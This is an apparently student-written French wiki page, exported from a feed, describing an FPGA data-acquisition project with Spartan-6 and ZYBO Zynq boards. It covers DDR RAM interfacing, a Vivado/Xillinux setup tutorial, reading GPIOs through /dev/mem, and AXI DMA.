*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6  et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto8.PNG|100px|thumb|right|o°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ».&amp;lt;br&amp;gt;&lt;br /&gt;
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED.&amp;lt;br&amp;gt;&lt;br /&gt;
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. &amp;lt;br&amp;gt;&lt;br /&gt;
p°) Dans le flow navigator, cliquer sur create bitstream.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Préparation et utilisation de la carte µSD=====&lt;br /&gt;
q°)Dans notre dossier de travail, nous avons 4 fichiers :&lt;br /&gt;
*boot.bin&lt;br /&gt;
*devicetree.dtb&lt;br /&gt;
*uImage&lt;br /&gt;
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted.&amp;lt;br&amp;gt;&lt;br /&gt;
s°)Copier les quatre fichiers sur la partition de 36Mo.&amp;lt;br&amp;gt;&lt;br /&gt;
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python.&amp;lt;br&amp;gt;&lt;br /&gt;
=====Récupération des données des GPIOs=====&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.&lt;br /&gt;
	On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.&lt;br /&gt;
	Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado :&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent.&lt;br /&gt;
	J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Tuto9.PNG|500px|thumb|center]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir. On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO. Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado:&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Adress_map.PNG|500px|thumb|center]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On voit que les offset des LED et des SWITCH correspondent. J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine. J'ai   pu   mesurer   la   vitesse d'acquisition   des   données,   celle   ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent   de   récupérer   directement   les données qui sont dans la RAM à partir du linux embarqué.&lt;br /&gt;
&lt;br /&gt;
====Direct Memory Acess====&lt;br /&gt;
Tout d'abord, Xilinx marque une différence entre AXI DMA et AXI VDMA (Video Direct Memory Acess). AXI DMA fait réference à l'accès traditionnel à la mémoire DDR en transférant arbitrairement un flux de données depuis le FPGA vers la mémoire DDR. VDMA ajoute un mécanisme de stockage synchrone par frame en utilisant un ring buffer dans la DDR.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
AXI DMA distingue deux voies : MM2S (Memory-Mapped to Stream) qui transporte les données de la DDR au FPGA et S2MM (Stream to Memory-Mapped) qui transporte arbitrairement le flux de données à la DDR.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DMA.PNG|500px|thumb|center]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Utiliser la board Zybo permet de récupérer les données de manière avantageuse. Un simple script python permet d'accéder aux données et de les inscrire dans un fichier. L'avantage de l'architecture AXI DMA sur un ZYNQ 7000 est que l’architecture hybride facilite les choses. Permettant au FPGA de fonctionner avec les avantages de fonctionner en partie avec des lignes de commande. Ici la mémoire DDR va être partagée entre le processeur Cortex et le FPGA.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans le fichier RAR rendu en Annexe, vous trouverez un projet nommé AXI_DMA qui est le projet d'accès à la mémoire par DMA. Celui-ci fonctionne avec le SDK, il utilise un bloc FIFO pour le test. Il faut remplacer ce bloc par un bloc d'acquisition des GPIO. Pour accéder au debug, il faut exporter le bitstream qui est généré, générer un code en C/C++ et le lancer dans le processeur cortex. Pour l'instant, je n'arrive pas à debugger le programme que j'ai fait car je ne comprends pas tous les éléments que me renvoie la liaison série. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DesignAXI DAM.PNG|500px|thumb|center]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
À droite on voit l'IP « processing_system7_0 » qui permet l'interaction entre les deux cœurs et le partage de certaines ressources comme les GPIOs et la DDR. Au centre on voit l'IP AXI_DMA qui est relié au bloc FIFO qu'il faut remplacer par un bloc GPIO que l'on peut trouver dans le projet « zybo_base_system.backup_bitstream_linux ». On voit aussi le bloc processing7_0_axi_periph qui permet un ordonnancement des périphériques entre les deux cœurs. Enfin, on trouve un bloc « xlconcat0 » qui permet d'utiliser le bloc DMA en mode « polling » grâce au déclenchement d'interruption sur le Zynq Processing System (PS).&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
	Le mode « polling » consiste à faire attendre au PS que le FPGA lui dise de lire les données. C'est une méthode par interruption. Ainsi, il faut modifier l'IP de manière à ce que lorsque la mémoire DDR est pleine l'interruption se déclenche pour que le PS vienne inscrire les données dans un fichier.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
	Cette méthode peut fonctionner mais il faut bien maîtriser le flow de conception pour y arriver. Je conseille de commencer par la récupération et le stockage de données dans la DDR de la ZYBO.&lt;br /&gt;
&lt;br /&gt;
==Fichiers==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR3&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DesignAXI_DAM.PNG&amp;diff=27734</id>
		<title>Fichier:DesignAXI DAM.PNG</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DesignAXI_DAM.PNG&amp;diff=27734"/>
